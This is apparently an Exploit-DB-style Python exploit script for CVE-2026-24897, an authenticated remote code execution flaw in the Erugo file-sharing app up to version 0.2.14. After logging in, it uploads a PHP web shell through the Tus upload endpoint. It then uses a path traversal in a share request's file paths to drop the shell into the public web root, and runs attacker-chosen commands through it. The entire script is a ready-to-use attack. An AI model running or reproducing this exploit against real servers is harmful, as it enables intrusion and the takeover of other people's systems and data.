# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE)
# Date: 2026-02-02
# Exploit Author: Abdul Moiz
# Vendor Homepage: https://github.com/ErugoOSS/Erugo
# Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b7028256870274edc2ac40536fcc0f1706cbbc4ed4fbf
# Version: <= 0.2.14
# Tested on: Linux (Docker)
# CVE: CVE-2026-24897
import requests
import json
import sys
import time
import base64
import argparse
import random
import string
import warnings
from datetime import datetime, timedelta, timezone
# Disable SSL & Deprecation Warnings for clean output
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
warnings.filterwarnings("ignore", category=DeprecationWarning)
class ErugoExploit:
def __init__(self, target, username, password):
self.target = target.rstrip("/")
self.username = username
self.password = password
self.session = requests.Session()
# Standard Headers
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Exploit-DB)",
"Accept": "application/json",
"Tus-Resumable": "1.0.0"
})
# Generate a random 8-char filename to prevent collisions
rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
self.shell_name = f"{rand_str}.php"
self.shell_content = '<?php system($_GET["cmd"]); ?>'
def get_csrf(self):
"""Initialize session cookies"""
print("[*] Initializing session...")
try:
self.session.get(f"{self.target}/login", verify=False, timeout=10)
except Exception as e:
print(f"[-] Connection failed: {e}")
sys.exit(1)
def login(self):
print(f"[*] Authenticating as {self.username}...")
url = f"{self.target}/api/auth/login"
data = {"email": self.username, "password": self.password}
try:
r = self.session.post(url, json=data, verify=False, timeout=10)
if r.status_code == 200:
token = r.json().get("data", {}).get("access_token")
if token:
self.session.headers.update({"Authorization": f"Bearer {token}"})
print("[+] Login Successful.")
return True
except Exception as e:
pass
print("[-] Login Failed. Check credentials.")
sys.exit(1)
def upload_payload(self):
print(f"[*] Uploading {self.shell_name} via Tus Protocol...")
# 1. Tus Creation (POST)
post_url = f"{self.target}/files/"
# Base64 Encode metadata
filename_b64 = base64.b64encode(self.shell_name.encode()).decode()
filetype_b64 = base64.b64encode(b"application/x-php").decode()
headers = {
"Upload-Length": str(len(self.shell_content)),
"Upload-Metadata": f"filename {filename_b64},filetype {filetype_b64}"
}
try:
r = self.session.post(post_url, headers=headers, verify=False, timeout=10)
if r.status_code != 201:
print(f"[-] Tus creation failed. Status: {r.status_code}")
sys.exit(1)
location = r.headers.get("Location")
file_id = location.split("/")[-1]
# 2. Tus Data Transfer (PATCH)
patch_headers = {
"Content-Type": "application/offset+octet-stream",
"Upload-Offset": "0"
}
r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10)
if r.status_code == 204:
print(f"[+] Payload uploaded. ID: {file_id}")
return file_id
else:
print(f"[-] Data upload failed. Status: {r.status_code}")
sys.exit(1)
except Exception as e:
print(f"[-] Upload error: {e}")
sys.exit(1)
def trigger_path_traversal(self, file_id):
print("[*] Creating malicious share...")
url = f"{self.target}/api/uploads/create-share-from-uploads"
# Fix Date Warning: Use timezone-aware UTC
tomorrow = datetime.now(timezone.utc) + timedelta(days=1)
expiry = tomorrow.strftime("%Y-%m-%dT%H:%M:%S.000Z")
payload = {
"upload_id": "exploit",
"name": "exploit_share",
"recipients": [],
"uploadIds": [file_id],
"filePaths": {
# VULNERABILITY: Path Traversal
file_id: f"../../../../../public/{self.shell_name}"
},
"expiry_date": expiry,
"password": "",
"password_confirm": ""
}
try:
r = self.session.post(url, json=payload, verify=False, timeout=10)
if r.status_code not in [200, 201]:
print(f"[-] Share creation failed. Status: {r.status_code}")
print(f" Response: {r.text}")
sys.exit(1)
print("[+] Malicious share created.")
except Exception as e:
print(f"[-] Error creating share: {e}")
sys.exit(1)
def execute_command(self, cmd):
shell_url = f"{self.target}/{self.shell_name}"
print(f"[*] Executing command: '{cmd}' at {shell_url}")
time.sleep(1) # Wait for filesystem sync
try:
r = self.session.get(shell_url, params={"cmd": cmd}, verify=False, timeout=10)
if r.status_code == 200:
print("\n" + "="*50)
print(f"COMMAND OUTPUT:")
print(r.text.strip())
print("="*50 + "\n")
else:
print(f"[-] Command failed. Status: {r.status_code}")
except Exception as e:
print(f"[-] Execution error: {e}")
def main():
parser = argparse.ArgumentParser(description='Erugo <= 0.2.14 Authenticated RCE')
parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://localhost:9998)')
parser.add_argument('-u', '--username', required=True, help='User email')
parser.add_argument('-p', '--password', required=True, help='User password')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
exploit = ErugoExploit(args.target, args.username, args.password)
exploit.get_csrf()
exploit.login()
fid = exploit.upload_payload()
exploit.trigger_path_traversal(fid)
exploit.execute_command(args.command)
if __name__ == "__main__":
main()